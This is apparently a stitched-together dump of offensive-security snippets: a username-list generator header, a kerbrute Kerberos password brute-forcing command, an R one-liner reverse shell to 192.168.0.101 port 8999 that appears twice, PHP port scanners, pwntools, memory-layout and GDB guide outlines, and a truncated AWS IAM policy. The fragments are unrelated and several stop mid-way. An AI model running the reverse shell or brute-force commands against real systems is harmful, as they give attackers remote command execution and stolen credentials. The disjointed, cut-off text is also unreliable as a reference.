hotplugin0x01

#!/usr/bin/env python3

'''
NameMash by superkojiman

Generate a list of possible usernames from a person's first and last name. 

https://blog.techorganic.com/2011/07/17/creating-a-user-name-list-for-brute-force-attacks/
'''

hotplugin0x01

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

hotplugin0x01

c<-socketConnection(host="192.168.0.101",8999,blocking=TRUE,timeout=1000000);while(TRUE){writeLines(readLines(pipe(readLines(c,1))),c)}

hotplugin0x01

<?php
ini_set('max_execution_time', 0);
ini_set('memory_limit', -1);

$host = 'google.com';
$ports = array(21, 25, 80, 81, 110, 143, 443, 587, 2525, 3306);

foreach ($ports as $port)
{
    $connection = @fsockopen($host, $port, $errno, $errstr, 2);

hotplugin0x01

Pwntools Cheatsheet

1. Program Interaction
2. Environment and Contexts
3. Logging and Output
4. Encoding, Packing and Utility
5. Assembly and Shellcraft
6. ELFs, Strings and Symbols
7. Return Oriented Programming
8. SROP and Sigreturn Frames

hotplugin0x01

Understanding the Memory Layout of Linux Executables

Required tools for playing around with memory:

• hexdump
• objdump
• readelf
• xxd
• gcore

hotplugin0x01

GDB commands by function - simple guide
---------------------------------------
More important commands have a (*) by them.

Startup 
% gdb -help         	print startup help, show switches
*% gdb object      	normal debug 
*% gdb object core 	core debug (must specify core file)
%% gdb object pid  	attach to running process
% gdb        		use file command to load object 

hotplugin0x01

c<-socketConnection(host="192.168.0.101",8999,blocking=TRUE,timeout=1000000);while(TRUE){writeLines(readLines(pipe(readLines(c,1))),c)}

hotplugin0x01

<?php

ini_set('max_execution_time', 0);

ini_set('memory_limit', -1);

$host = '172.17.0.1';

$ports = array(21, 22, 80, 443, 445, 3306, 8080);

hotplugin0x01

{
    "APIGatewayServiceRolePolicy": {
        "Arn": "arn:aws:iam::aws:policy/aws-service-role/APIGatewayServiceRolePolicy",
        "AttachmentCount": 0,
        "CreateDate": "2019-10-22T18:22:01+00:00",
        "DefaultVersionId": "v6",
        "Document": {
            "Statement": [
                {